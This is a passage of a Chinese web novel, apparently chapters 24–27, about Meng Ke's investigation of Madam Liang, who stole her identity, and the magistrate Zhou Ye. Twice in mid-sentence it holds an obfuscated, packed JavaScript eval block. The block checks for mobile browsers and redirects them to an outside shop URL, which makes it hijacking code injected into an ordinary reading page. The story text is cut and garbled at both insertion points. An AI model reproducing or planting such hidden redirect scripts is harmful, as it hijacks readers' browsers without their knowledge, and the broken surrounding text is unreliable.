郑氏和梁夫人，这霍家母女在湖边相会。那虞三不是撞见郑氏，而是陪着自家夫人，见了她，自然知其身份。 而那郑氏不开口，是因为开口没用，还是不想开口呢？ 如果郑氏当年就被冤枉，那她自然觉得，如今申辩也不会有用，不过任人宰割罢了。这杀人嫌疑，不是她，便是她女儿。而她偏巧又有足够的动机，远比女儿足够的动机。 若没有樊仲荣被掳之事，连他也会先怀疑上郑氏——能不动声色掳走樊仲荣的，哪会是郑氏？ 若是她不想开口，那是出于一个母亲、一个加害者，对当年害人之事悔悟了，这才替女儿扛罪，以自赎其罪呢？还是一个普通的母亲，不管孩子做过什么，都宁愿为之受过？ 不管出于哪个理由，梁夫人自是算定了郑氏不会拉自己下水...... 这些事，孟珂想必也没弄明白，所以才要自己帮着查霍家案。 周冶看向树底下歇着的那一串：“这些蚂……这些人？” 孟珂摇头：“花钱雇的，什么都不知道。” 周冶点点头，料想也是，梁夫人一直隐藏身份，这点至少会顾到，又问：“寨子外那些人……” “都拿下了，不曾伤及人命，随时交给大人。” “他们不会是什么散兵游勇吧？” “大人听过黑石堂吧？” 周冶点头，不只听过，他今日还想盯他们堂主呢。 梁夫人是买通还是指使黑石堂？周冶心内奇的是，这黑石堂堂主，拜的不是曾怀义的码头么，怎么敢对他动手了？掳走樊仲荣自不必说，他们到底有没有参与杀人？ 他正琢磨着，只听孟珂继续道，“不过也是一句，‘拿人钱财，替人消灾’就能搪塞官府罢了。抓的都是底下喽啰，听命行事，也不知道多少。” 他还想问，拿下黑石堂的又是什么人，但看了孟珂一眼，又罢了。 转回了话题：“这霍家小姐，怎么就成了梁夫人？” *** 孟珂看了他一眼，轻轻抿了抿唇：“不如……我再给大人讲个故事吧。大人听完，再看到底站多远、凑多近，要不要湿了衣裳。” 她垂下眼，看着脚下的潺潺河水，又一路望向对岸绵延起伏的山峦：“很多年前，有座飘渺山。山上有个虚无峰，住了两户人家。两家各有一个女儿，年纪相仿，性情相投，从小便亲如姐妹……” 她笑笑，“不过，即便亲如姐妹，也是要闹的。这姐姐性子强，妹妹性子慈。姐姐看见妹妹的东西便强要，不给就变着方儿地浑闹，急了也要动手。” “闹到大人面前，姐姐的母亲总让妹妹打回去，可她总出不了手。大人直接拿着她的手，去打姐姐，她也总缩了回去。大人都笑她慈软，背地里还笑她傻。” “都说，妹妹沉静稳重，倒像姐姐，姐姐犯浑张扬，倒像妹妹。” “山中无日月，两人一天天长大，也不再为争抢东西而闹到人前了。” “忽一日，姐姐家里出了大事，父母家人都不见了，便住去了妹妹家。妹妹心疼得紧，什么好东西都给她，只哄着她高兴。” “一个冬夜，妹妹被母亲强行从睡梦中唤醒，着家中老仆，送她去外地的舅舅家——这个母亲，大概梦中得了神灵指点，嗅到了即将到来的危险……” 孟珂长长地吐出一口气。 周冶注意到，这口气好像有些......不稳。 “妹妹没来得及同姐姐告别就被送走，本还担心自己不在了她怎么办，不料，走到半道，却见姐姐追了上来。 两人叫着对方，飞奔向彼此，不知道跑向的是什么样的命运——就在这时，山林里钻出了一群饿狼......” “忠心的老仆以身饲狼，让二人逃命。她们手拉手，逃啊逃，一直逃到了山崖边，终逢绝路。前是悬崖，后有饿狼。不知怎的，妹妹身子一歪，脚下一空，掉下崖去。” “滚落之时，她惊惧之余，竟看见姐姐静立崖边，冷冷地看着她，仿佛还带着笑意。而那群饿狼，就在她身侧，却……温驯如狗。” “妹妹侥幸得活，觉得姐姐必定已死，那一幕不过是自己惊恐中没看真切。而推自己的那一股力量，应该只是饿狼上来顶了她......” “可后来......她却发现，姐姐不仅活着，还摇身一变成了她，拿了她的家财，住进了她舅舅家中，嫁给了她的表哥……” *** 说完，孟珂转头看着周冶，笑了笑。 看着那个笑，周冶心里猛地一揪，后来好长时间也总在心头、脑子乱晃——那笑里，带着一抹与那张年轻的脸完全不符的苍凉，直入人心底，萦绕不去。 周冶好半天才勉强挤出一句：“饿狼……终会遇到屠狼之人。” 说完又觉得，这话再烂不过了，可再想想，说什么，好像都太过单薄。 孟珂却调笑地看着他：“大人信我……这个故事？” 有时候，她连自己都觉得自己不可信。 她脸上笑着，心中无声地对他道，你可知，我现在就如那陶泥一般，可以把自己捏成任何形状，柔弱的，强悍的，可怜的，恶毒的——只要需要。 “为何不信？”周冶反问。 孟珂顿了顿，转而又问：“大人既知我是那‘卢家养女’，难道就没听过那些传闻、议论？” 周冶想也没想，答得很快：“耳听为虚，眼见为实。” 孟珂问得也很快：“那大人眼中的实是什么？” 周冶抬眼看着远山，想了想：“我眼中的小姐，恰如那云中之山，雾里之花。可我知道，那云雾之中，有些东西……是真的。” 说着，转头看着她，“云雾不过是一时变幻，其背后......自有丘壑。” 孟珂深深地看了他一眼，自嘲似地一笑：“希望大人不要......信错了。” 说完，不让人发现地静静吁出一口气，藏下了一个无声却悠长的叹息。 她不说话了，静静看着面前的水波，脑中还沉浮着方才跳过的一些画面。 等妹妹跑回家，却发现……她的家已是一片火海。 梁家大宅前的巷子被挤得水泄不通。 她觉得有什么不对，不敢冲上前去，而是退了开去，转身跑入无人的小巷，发足一路狂奔，跑到湖边。 看着那被火光照亮的夜空，她胡乱扒下身上的厚衣服，一跃入水，一直游到后园临湖的水榭——如果有人能逃生，后园水边就是最适合的逃生之处。 其时，火光照亮了夜空，也映红了湖面。 舞动的火舌，在水面吞吞吐吐，火光的闪烁和水波的阴影杂糅在一起。没人看见，一个小小的脑袋在湖面浮浮沉沉。 已经进不去了，连后园都烧透了，水榭已经在垮塌。 带火的粱柱屋椽，一根根掉落在她身边，触水就发出滋滋的声音。 有的入水还没完全熄灭，就在她身边燃着，随波起伏。 可她视而不见，只一动不动地看着大火，终于在一根大柱子迎面砸来，眼看要落到身上的时候，才向后猛地一蹬，游开了，一只手轻轻扒着岸边一棵歪脖子树干。 眼前早已模糊，伸手抹了一把，分不清是水还是泪。她只觉天地一片橙红，到处都明明灭灭的，分不清是火在晃，还是水在荡。 宅子渐渐倾圮殆尽，她扒着树干的手，倏地松了，轻轻向后一仰，便漂在了湖面上，随波逐流而去。 不知过了多久，她一个翻身，将脸埋进了水里…… *** “小姐？” 听到周冶的声音，孟珂回过神来。 “小姐的人既然没看到曾怀义案发现场，如何能认定是梁夫人所为？” 孟珂直言：“是，没有直接证据。” 说着，又笑着看向周冶，“而我偏又是另一个嫌疑人，大人自然可当这是相互攀咬之词。” 如果说之前是猜测，是怀疑，现如今她已经确信了： 曾怀义之死，是她。 抓了樊仲荣的人，自然也是她。 能提前布局，引郑氏前去，事后 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她就是梁家小姐——梁婉章。 孟珂的目光仿佛穿过岁月，落到了当年。 “那么多人下狱，那么多家离子散，乃至后来的霍、粱几家大火，上百口人殒命；还有樊仲荣的兔死狗烹，被分而食之……一切的一切，追根溯源，都能引向霍家，引向她霍茹蕙......” 霍家案情特殊，没多少人知道。她又是女儿家，当时年纪又尚小，大人每每说起那些事，都刻意避着她。霍茹蕙则什么都不说。孟珂只零星听两家下人背后一些意味不明的闲话，完全没听明白。 那时的她，只觉得两家本就常来常往，她俩又好得像一个人似的，她父母又最是良善之人，看那孩子遭逢变故，便留下来，不过是添双筷子的事，是顺理成章的。 可出事之后，她慢慢长大之后，才渐渐觉出不对来——两家再好，也只是邻居，没有姻亲关系。若霍家再无其他可托之人，梁家来照管自无不可。可放着现成的婆家在那儿，霍茹蕙该投他们去才对。 就算孩子不懂事，就想跟小姐妹一起住，曾家、梁家大人也不懂吗？ 现成的曾家摆在那儿，曾霍两家的婚约一日没解除，霍茹蕙一日就是曾家没过门的儿媳。出了这样的大事，梁家还把人放在自己家，若出了什么差错，甚或寻了短见，要怎么向曾家交待？ 而曾怀义查办霍家，不管是真心疼、救助这个无辜少女、没过门的媳妇，还是完全因为职责所在，都没道理对其不安排、不过问。 出了那样的事，曾家不愿再娶进门也情有可原，自可找个体面的理由解除婚约，适当扶助，保她一世安稳，就是妥帖的两全之法。世人便是知道了什么，也没得可说嘴的。可他偏偏任由她留在梁家。就不怕传出去说，看霍家出了事，就悔婚不管了？ 他可以不在意一个拿他没办法的少女，可他也不在意自己官声，大善人的名声？ 两家大人竟没人表示异议，由着十几岁的霍茹蕙自专？这背后自有蹊跷。 霍茹蕙那段日子不愿见人，甚至绝不踏出房门一步，何至于听了她要离开几日的消息，就独自一人追出那么远去？ 那些山匪，怎么就那么巧让她俩一起遇上了？又怎么会让霍茹蕙活下来？ 后来，她查过霍家案的卷宗，但发现向刑部呈报的原件和抄本都不见了，连县衙的也烧了，这便是有人在背后使了大力消灭证据了。 见孟珂又出了神，周冶先没作声，过了良久，才又唤她道。 “小姐？” 孟珂嗯了一声，似是自言自语道：“我现在也不知道，她对曾怀义出手，是为了谁，又是为了什么……他们之间，是恩是仇，是利尽而亡，还是因为别的什么......” 她和饿狼是一伙的，曾怀义是饿狼之一，那她当年是被胁迫的吗？被欺骗的吗？还是就要她粱婉章死，才好借壳重生呢？如果她不消失，哪有如今的梁夫人...... 她转头看着周冶，“霍家案，也许能解释这……现在不能解释的一切。” 如果霍家案真，霍茹蕙就是最惨的受害者，也是最好的姐妹：无奈顶了闺蜜身份，不忘查粱家的事，甚至替梁家复仇——哪怕那人是曾拯救自己的恩人。 可如果霍家案假，她便是最毒的蛇蝎，既能害了自己全家，遑论她这个“姐妹”…… 25. 花船 回程路上，孟珂无力地靠在马车角落里，一阵阵七晕八素、翻江倒海，终于体会到有人受不了马车颠簸，头晕发吐是怎么回事，又多难受。 她看了一眼坐在对角的樊仲荣——为了掩人耳目，孟珂带了她同坐一辆马车。入鲍鱼之肆，久而不闻其臭。可这一路，久到能让她死去活来，却又不够久到不闻其臭。 她眼一闭，心道，睡着了，时间就没那么难捱了……吧？ 樊仲荣抬眼看了看小姐，又低头闻了闻自己，往车帘处挪了挪——就像能有用一样，犹豫了半晌又道：“小姐，我还是不回去，以免……” “没听过灯下黑吗！” 孟珂捂着口鼻，打断他，“如今，熹园才是你最安全的藏身之地。” 樊仲荣想想，果然如此，便也不再多说。 临别，周冶将他交给孟珂的时候，两边的人均是一惊。 周冶知道了她的真实身份，也就知道了她有杀曾怀义的动机。她这才把自己和霍茹蕙的事摊开同他说了——从高仲之事便知，他是个心中有是非的人。这样一个人，知道了原委，即便不同情帮忙，也不会为难她。 周冶信她所言，不算很意外。但这么干脆地把人交给她，倒着实有点意外了。 毕竟，信是一回事，自己为此而冒风险则是另一回事——这不是官场中人应有的作派。周冶生于世宦之家，这点基本的道理不会不明白。 孟珂笑问：“这就把人给我了？大人回去不就没得交代了？” 周冶笑笑，正是孟珂提醒了他，樊仲荣跟他回了县衙，只怕真要上演一出畏罪自尽。哪怕此人真有疑点，留在孟珂手里还能活，可徐图之。 他带回去，若梁夫人鼓动陈万霆直接提人，将案子收归上头来办，那他是尊，还是不尊办呢？ 他说道：“该问的都问了。樊老板洗脱了嫌疑，自然奉还，只是……” 孟珂也不与他矫情：“自不会让大人为难。尘埃落定之前，不会有人看见他一眼。” 周冶点点头。 “至于交代嘛……这不是有人把犯人往县衙送嘛？” *** 孟珂笑笑，看了看树下那一串……蚂蚱：“那……这些人，大人怎么打算？” “小姐有安排？” “不敢。不如……我给大人出个主意。” 孟珂道，“今日，黑石堂的运气不太好，遇到了老对头白水门，不仅把他们堂中之人抓了，还连他们绑的肉票一并劫了。黑吃黑，没有什么其他不知身份的人牵涉其中。 大人你呢……爱管不管，反正是发生在两县边界上的事，推出去，就是顺手的事。” 周冶接道：“那这白水门，为何要去挑事？” “不是挑事，而是找回场子。前日，一个黑石堂的人先破了规矩，动了白水门的人。” 这是预先碰瓷吧？周冶笑着点头：“那……我今日……就是溜出来，找了个地方喝酒听曲，喝多睡了半日。” 说着，看向孟珂：“那小姐呢？” 孟珂笑道：“我嘛，此刻正在湖上赏景呢。好些人看着我上的船，也会看着我下船。 我这人身子弱，一向去不得白事，何况早在曾家出事的头一日，便去上过香，算尽过心了。谁还能来派我的不是？” 周冶却疑惑，并没瞧见身边有肖似她的人啊，又看看静立一旁的回雪——贴身侍女都不跟着，怎么蒙混得过去？熹园还有易容高手？ 孟珂又道：“公子的这些人马，便让他们……分开散了吧。” 周冶：“自然。” 说罢，孟珂一扬手，只听得一声呼哨，一艘船便朝这边而来。 她做出请的姿势：“请大人，上花船。” 周冶看了一眼，舌头有点磕绊：“花……花船。” 孟珂看着他，意味不明地笑道：“大人难道没上过？” “不……不是……”他想解释什么，但又发现，解释好像也有点奇怪，只好作罢。 孟珂又笑道：“绥陵这位公子县令，溜出来寻欢作乐不奇怪，日夜勤勉才惹人纳闷呢。我这不是替公子考虑，方便你日后行事不是。” 这话听着像那么回事，但他总觉得……像有什么言外之意呢？ 他顿了顿，也意味深长地笑道：“小姐在朝堂，可呼风唤雨；在江湖，竟也如此如鱼得水。” “不过是凑巧交了个朋友，互相行个方便。” “这样的巧，什么时候让周某也凑一凑？” 周冶看着她，半感慨半赞叹道，“见过小姐，方知一句话，‘谁说女子不如男’。” 说话间，船已靠岸。 周冶朝她点点头，提步上船，边走边无奈地大声道：“拜小姐所赐，我这无能之名，就要坐实了！” 孟珂看着他的背影，笑了。 “周冶！”孟珂突然叫住了他。 她想给他一个选择，让他自己决定，是抽身旁观、两不相帮，还是秉持中正，明辨是非，但不可避免地把自己卷入与己无关的漩涡…… 但……想复仇，难道不是该争取每一份助力吗，哪有将人推出去的？ 想了想，她还是按下不提，只道：“周冶，今日之事，我记你一份人情。” 等真正需要选择的时候，再说吧。 又是直呼其名！周冶心里腹诽道，但这次……心里却有点乐呵，绷住了脸上扬起的笑意，微微侧头扫了她一眼，矜持地点点头，表示知道了。 正提步要走，又听孟珂大声道，“我这人，有债，必讨！有情义嘛……看着还吧。” 周冶却只听见了前半句。什么样的债必讨？大小都算？抢……拔金簪算不上？希望不算吧。 若她真要算，今日的人情，也可以抵扣......吧？ “公子？”侍剑见他愣在原地，催道。 他嗯了一声，这才上船去。 *** 孟珂又呕完一阵，无力地睨了樊仲荣一眼。难怪说，智者千虑必有一失。她今日，什么都虑到了，偏偏高估了自己的身子。 早知如此，就该跟周冶一同乘船而去，一起熏，一起吐——哪怕把他推进水里涮一涮呢。 想到周冶，她不由想起临别之时，问他的那个心中逡巡已久的问题。 “大人到这小小绥陵来，当这‘公子县令’，到底图什么？” 周冶一听笑了，想了想，道：“我也讲个小故事，比你的小多了、简单多了。” “就有个……闲汉……” 这么说自己，好像有点不体面，算了，寓言寓言，取其寓意而已。 于是继续道，“他在外面游荡多年，忽一日倦了，不想再漂了，便胡乱圈了块地，种些菜玩。想动了，便浇浇水、拔拔草，除除虫、赶赶鸟雀；不想动了，便交给下人打理，只是……” “只是什么？” 周冶笑笑不答。 只是，这地里飞来了一只百变灵鸟，搅得他地里尘土飞扬。而他一时间……好像还不想赶它了。 孟珂笑道：“外人看着，公子是懒怠。其实，明眼人知道，公子行的正是那无为而治。地方父母官，能不堆砌自己的政绩，而是与民休息，才是真正的当官为民，真正的爱民恤民。” 公子？等等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999122|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，她怎么改口叫公子了？ 周冶在船中坐着，想起她这番话，才突然反应过来——她言必称大人，原来竟是……讽刺的意思！芝麻大个官儿，真把自己当根葱了的意思？ 当时怎么就没听出来？周冶一拍大腿，他本该生气的，可不知为何，却又有些……高兴。 侍剑倚坐在船舷上，奇怪地看着公子：“公子，你笑什么？” “我在笑吗？” 侍剑点头。 “我……我想通了案情的一些关节，觉得自己实在绝顶聪明......” 侍剑无语地看了他一眼，装作没问过话，转过脸去。 周冶还真的在琢磨几个关节——虽然没像口中吹嘘的，真想通。 如果樊仲荣真是把消息传去了嘉县，而孟珂也是去嘉县的那一日，拿了他钱袋——想必那时就谋划好了今日这一切。 那她的消息传递处在哪呢？难道是那纸笔铺，池记古董家具铺？还是某个根本不起眼的小摊小贩？侍剑一路跟着，也未必能瞧出门道。 这梁夫人，到底给了黑石堂多少好处？黑石堂跟那石头寨、当年的匪盗又有关系吗？ 白水门又是怎么回事？ 这两个女人，一个能动用黑石堂，一个又有白水门，还真的是......不让他省心啊！ 前方，江流即将汇入大湖，水面骤然宽阔起来，风一起，层云翻涌，波浪起伏…… *** “樊仲荣不见了，连守卫……也一个都不见了！” 梁夫人听了回报，怒不可遏，“不中用的东西！那……寨子那么偏僻，又荒废已久，便是当地山民也少有人去。怎么就能让人找了去，把人全掳走了？” 派去的人一个都没回来，再着人去看，已经人去寨空，只剩了一地血迹和打斗的痕迹。 孙嬷嬷看着她脸色，小心地宽慰道，“劫走了……也无妨，那些人本就什么都不知道，咱们也就去过一回，出入也都戴着帷帽，料想他们也认不出。” 黑石堂没有亲自动手，而是找了个赌徒出面，花钱雇了一批地痞流氓，就算被发现，也只是赌徒求财绑票。 “不过，这人……到底是谁救走的？”孙嬷嬷边想边道，“那熹园一点动静都没有，那个谁一直在湖上。” 听了这话，梁夫人气归气，心下有点庆幸——不是她就还好。 孙嬷嬷道：“也不是官府的人。那些衙役就没出城，只轮班在城内各处巡视。” 说着，她偷看着梁夫人脸色，掩口笑道，“那周大人……躲花船上喝酒去了。想是在曾府被问得烦了，索性就躲了。这么久交不了差，很是焦头烂额呢。熹园的人也在添柴火，昨日还去衙门闹过一回，催着叫找人，后来当众骂了县令大人呢。” 梁夫人笑：“交不了差？谁让他胆子小。牢里现成有一个了。既然嫌不够……再送他一个又何妨。” 这时，一个大丫头过来，看了看周围，才压低声音道：“查过了，是白水门，两边这些日子起了些冲突……” “白水门？”梁夫人气不打一处来，无言半晌，又道，“真是他们江湖上的事倒也罢了。传我的话，管好他的人，别再像这次一样，连个人都看不住。不小心还要带累我。” 孙嬷嬷问：“那叫他们……再夺回来？” “不管了。”梁夫人烦躁地一抬手道，“找回来也没用，就别再引人注意了。此人本来就是烫手山芋，撬不开嘴，留也不是，杀也不是。走便走了吧，任那白水门……是杀是剐。” 就在这时，听得外面惊呼，“不好了！” “出事了！出大事了！” 26. 窄巷 听得外面闹了起来，梁夫人和孙嬷嬷相视一眼，匆匆走了出去。她方才是找了个借口，避开众女眷，在曾府后院的花厅一角说话。 孙嬷嬷走在前面，伸手就拦了个跑过的丫头：“站住！跑什么，也不怕冲撞了这满院子的夫人小姐。你家夫人没教过你们规矩吗？” 那丫头站住脚，冲梁夫人行了个礼，声音打着颤道：“我家夫人……夫人她……上吊了！” 孙嬷嬷猛地转头去看，见梁夫人道：“越是大事，越要沉得住气，别莽撞乱跑了，去吧！” 那丫头应着，快步走开了。 孙嬷嬷又看了梁夫人一眼，想问什么，终究没吭声。 原来，邵夫人哭了半日，众人见她疲弱不支，便留她在房内好生歇息。但她说稍有响动就睡不着，将里里外外的人都遣走了，最后将贴身使唤的人，也分别支使了出去，一根白绫挂了上去。 她的陪房许嬷嬷，走在半路上疑了心，忙往回赶，撞见贴身小丫头也出来了，心道，果然坏了事，匆匆赶回去，好歹把人救了下来。 众人不免又唏嘘一场，直叹这曾府夫妻情深义重，偏偏天不假年，硬收了一个去。 又七嘴八舌地说起，那曾怀义本是流民，孤儿寡母流落到安州落脚，本是何等凄苦。谁想他如此出息，又娶得邵夫人这样的贤妻，二人相敬如宾二十余载，还挣得曾家今日的门楣。可谓先共患难，后同富贵，如今竟还要生死相随，这是何等情义！ 梁夫人听着，心中不由笑道，曾怀义，你今日也算占尽风光了。绥陵多少年没有过这般盛况，如今还有了这段殉情“佳话”，你在地底下，也当心满意足了。 这时，一个丫头疾步进来，走近她身旁，附耳低声道：“京中的信来了！” 梁夫人眼睛顿时亮了，低声道：“快拿来。” 丫头悄悄从袖中取出，藏在掌心内，梁夫人接过，往袖口里一塞，左右看看，无人关注。 她心内虽急，想立刻拆信看个究竟，但方才走开了好久，这刚现身，不好立刻就走。好歹跟众女眷照护、安慰了邵夫人一回，才又瞅了个空，溜出去找了个僻静处，从袖中取出信来。 等了这么多时日，等终于拿在手内，她一时却顿住了——这一打开，开启的将是什么样的局面。 自孟珂在水榭之上出现的那一瞬起，她就有种莫名的异样感觉，心窝处似乎凭空多出个什么东西，有时堵着，有时跳着，有时却又上窜下跳，扯得她七上八下，惴惴不安。 这般年纪，又偏偏出现在那里，要她怎么不往那个人身上想呢？ 如果她活下来了，长大了，会是什么模样？ 这个问题她这些年里想过千百回，也正是据此去活的——梁家小姐是什么样，她便对人扮成什么模样；梁夫人会怎么做，她便怎么做事做人。 孟珂的样子，跟她想了千百回的样子，差了十万八千里。但她还是留心去看了她的右耳垂——那人的耳垂上有颗痣，正好在耳洞下方，位置极妙，乍一看，倒像是有两个耳洞似的。 可孟珂的耳垂上，分明一丝痕迹也无。 她还特意找大夫问过，并没有什么新奇的去掉耳垂之痣却不留痕迹的法子，这才稍稍放下一点点心。 等得知她不是卢家亲女，而是养女的时候，她又惊了一回，立马派人去了京城，查她来历，还着人在熹园查探。 诸般查探的结果，都与那个人相去甚远： 那人恐高，可眼线回报说，孟珂时时在水榭上玩耍。 那人不喜欢写字，可孟珂却爱抄经，没事就在书房抄经、练字。 那人自小就娴静端庄，比谁都闺秀，可孟珂却骄纵轻浮，哪是个良善心实的？ 她们之间有太多、太大的不同，可她不知怎的，就是放不下心来…… “夫人？” 孙嬷嬷见她看着信，却不拆也不看，平白发了半天呆，这才轻声唤道。 梁夫人回过神来，深深吸了一口，心一横，抬手便拆。 *** 樊仲荣不知道，孟珂和周冶这些日子以来的过招，疑惑道：“小姐，那位周大人可靠吗？这么早就……都说与他知道了？” 孟珂用丝巾捂着口鼻，揭开车帘一角，一双生无可恋的眼睛看着窗外，强自分散着注意力。 她看也没看樊仲荣：“好多事，他已经琢磨明白了。” 瞒不住，不如坦诚，争取助力。 她这次是利用了他，但也给他解了惑，善了后；并意外地往自己这边拉了一步。但要说为她所用，却并不容易。有脑子而对她无所求的人，是最难收用的。 绥陵城位于镜月湖之北，西富而南贵——湖的西面和北面都是富庶之家，而东面则是水网入河之处，多大片的林地和沼泽。 马车自北门进了城，却没往城南的熹园走，而是一路往湖东而去。 熹园的船在湖上漂了大半日，也靠了岸，“孟珂”戴着帷帽下了船，上了熹园马车。 两辆马车在暗巷中错车而过，随后各奔一方。 城外进来的那一辆，在一户人家门前停下，走下个年轻妇人。不知过了多久，后门走出个丫头，正是五儿，她身旁那个看着倒像回雪。 而孟珂坐着熹园的马车，在大街上停了一回，在路边闲逛了逛，买了些点心、物什，这才上车回府。 马车转入熹园所在的巷子，孟珂看了樊仲荣一眼，嘱咐回雪道：“熹园也该扫扫干净了。” 回雪正要答话，马车却突然停了。 她忙掀帘一看，有户人家修葺房舍，买了些物料，正在上下货，占去了半条巷子，留下的小半条路，只容一辆马车通过。 于是，两辆马车就在这窄巷中狭路相逢了——而对面的，竟是郡守陈万霆。 *** 陈万霆早听说了卢府小姐到此的消息，也知道官员内眷大都有去拜访，试图结交。可这位小姐却是个不太好伺候的，只对他夫人与别不同，要亲热上几分。 今日众人凑到一处，他才听说一个事——卢府小姐住的宅邸，竟然就是当年的梁家大宅。 他原本没想过去拜访，但这两个事一凑，也不知怎么就凭空冒出个念头——也想上熹园去看看。不知如今是什么模样了，可还有儿时记忆中的样子？ 上门一看，说小姐在湖上游玩，等了许久也没见回来。 结果，他这刚走，却又遇上了。 陈万霆忙让陈安前去请熹园的车稍候，一边让车夫退至巷子的宽处，靠边而停。退完再看，熹园的车却还停在原地，一直没动。 马车内，回雪着急地道：“小姐，我去打发了他？” 孟珂垂着眼，没应声。 回雪看了一眼樊仲荣，这样原地不动，太惹人生疑了。 “小姐？” 话音未落，孟珂已抬起头来：“你去传我的话……” 陈万霆正自奇怪，掀开车帘，看了过去，正要着人再去问，就见那边的车动了。陈安也跟过来，站回陈府的马车旁。 行至近前停下，一个大丫头掀帘下车，见陈万霆已经掀开了车帘，便越过陈安，径直走到了车窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999123|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边。 回雪道：“我家小姐说，不知大人今日来访，在外游玩，让大人久等了。大人若还得空，这便请大人调转车头，进府一叙。” 马车内，樊仲荣忍不住道：“小姐，那陈大人若真调转车头，该如何是好？” 孟珂坐直了：“今日这车里，只有我和回雪主仆二人，自是平日该当如何，今日便如何。” 樊仲荣把马车上上下下扫了个遍，能找个缝钻进去就好了。 *** 这时，什么人一路快步跑进巷子，经过熹园马车，跑到陈家马车前停下。 原来是陈家的家仆。 “大人，夫人的马车就在前面，小姐正闹着要爹爹呢。” 车内，孟珂闻言笑了。前有陈万霆，后有梁夫人，今日这是撞了什么大运，真真的插翅难飞。 陈万霆往那头一望，正好看到女儿被抱下车来。 她脚还没站稳，就蹦着跳着，挥手叫着爹爹。旁边的丫头婆子一个错眼不眨，她就往这边跑了过来，几双手同时伸出去，也没捞住。 陈万霆倒抽了一口气：“这孩子！” 嘴上抱怨着，脸上却笑意盈盈，连忙下了车，高声道，“慢点，当心摔着！” 孟珂身子微微动了动，掩严实了丝巾，掀开一条缝，一眼看见陈万霆，心口仿佛被人猛地一把揪住了。 他站在那儿笑着，看着对面的女孩朝他飞奔而来。 “震言哥哥！” “婉章妹妹！” 姨母带着他来探亲的时候，她也是这么笑着，朝他飞奔而去的；而他，也那么笑着，一路朝她飞奔而来。 等奔到一处，是拉手了，还是拥抱了，她都记不清楚了。可那个飞奔向彼此的画面，还有当时的那种高兴，却深深地烙印在了心里。 她的震言哥哥，如今已经长成了这般大人。 韵儿跑得近了，陈万霆忙往前快走几步，蹲了下去，正好迎着她跳入怀中，一把抱了起来，转了一圈才停住。孩子发出咯咯的笑声，如清越的铃音。 父女俩这般跳和接，想是日常，动作默契，行云流水。 孟珂垂了眼，丝巾之下，露出了一丝苦笑。 若不是那场大火，若不是那天翻地覆的一夜，如今在这巷子里，他抱着的，应该是他们二人的孩子吧。而站在一旁看着他父女二人的，应该也是她吧…… 陈万霆抱着韵儿，余光瞥见什么一动，看过去，却只见车帘无风自动。 察觉到他目光挪移的那一瞬，孟珂就放下了帘子，像个被抓包的小偷，心里飞快地跳了一下，旋即又好笑，便是让他看见了，也未必认得出来。 后方马车早驶近了停下。梁夫人掀帘看着父女二人笑着，心道，还好是赶上了。 她当时正要拆信，就见盯着陈万霆的人急急来报。 “夫人！大人去熹园了。” 又得报熹园那位在往回去了，她忙带了孩子赶过来。 这二人自是难免要碰面，但她不想他们在自己没搞清楚情况的时候就见，尤其是自己不在场的时候。 回雪看着已经驶近的梁夫人马车，催道：“大人？可与夫人一道，入熹园一叙？” 陈万霆看了一眼夫人的马车，又看了一眼熹园的马车，笑道：“劳姑娘久等。” 说着，刮了一下韵儿鼻子，“你这孩子，就会耽误爹爹事！” 他略想了想，抱着孩子，朝熹园的马车走去。 回雪当即倒吸了一口凉气。 梁夫人也下了车，快步朝这边走来。 27. 闹贼 陈万霆看夫人走了过来，放下孩子，让她奔母亲而去，自己走到熹园马车旁，道：“小姐，今日是我唐突，不曾事先投帖就来。只是还有公事在身，就不拖家带口地叨扰小姐了。敝府后日有赏梅宴，若小姐得空，我和夫人都望小姐去坐坐。” 马车内外，回雪和樊仲荣都悄悄松了半口气。 马车内应道：“大人言重了。谢大人相邀，若无要事，我定去。” 陈万霆离得太近，回雪不敢上车，怕一掀帘露出什么，哪怕飘出点异味，惹人生疑——虽然刚才街上买了熏香，马车内外都快被熏透了。 她又看着梁夫人，生怕她再上前絮叨什么，自己也好拦上一拦，于是，让在一旁，等陈府的马车过去，这才远远缀着自家马车，往回走。 这时，她听得身后什么人噔噔噔地从巷口跑进来，转头扫了一眼，只见是个贴身侍从，故意放慢了脚步。 那人喘着气，向陈万霆道：“大人，抓到郑氏合谋之人了。” 回雪还想再听，可那人没再多说，陈府一干人等也随即登车而去了。 回了烟雨斋，孟珂听罢，也疑惑道：“这所谓‘郑氏合谋之人’会是谁。” 随即，低声吩咐了一番。 “那……那个坏东西，小姐要怎么处理？” 孟珂略想了想，改了主意：“算了，清了这个，还得派哪个，着人好生盯着就是。” “那......陈府的赏梅宴，小姐要去吗？” 孟珂笑笑，不答。 陈府……如果不是那一夜的变故，如果不是改道去了京城，转投母亲的故交。如今的她，就是陈府的夫人。而不是如今这个，连自己都不知道算什么人的样子。 那个她，应该过着平静安乐的日子吧。相夫教子，侍奉公婆，偶尔回娘家，看望一次比一次老去的父母。 不，时光应该还要再倒回去一些，回到幼弟还在的时候，父亲没有因此大受打击，性情大变的时候，从那时重新不出差错地，往前滚滚而去。 那样，梁家会像千百个人家一样，有些不足为外人道的难念的经，但总体平和安乐。 她成亲生子，幼弟平安长大，父母健康老去，各自过好各自的日子。 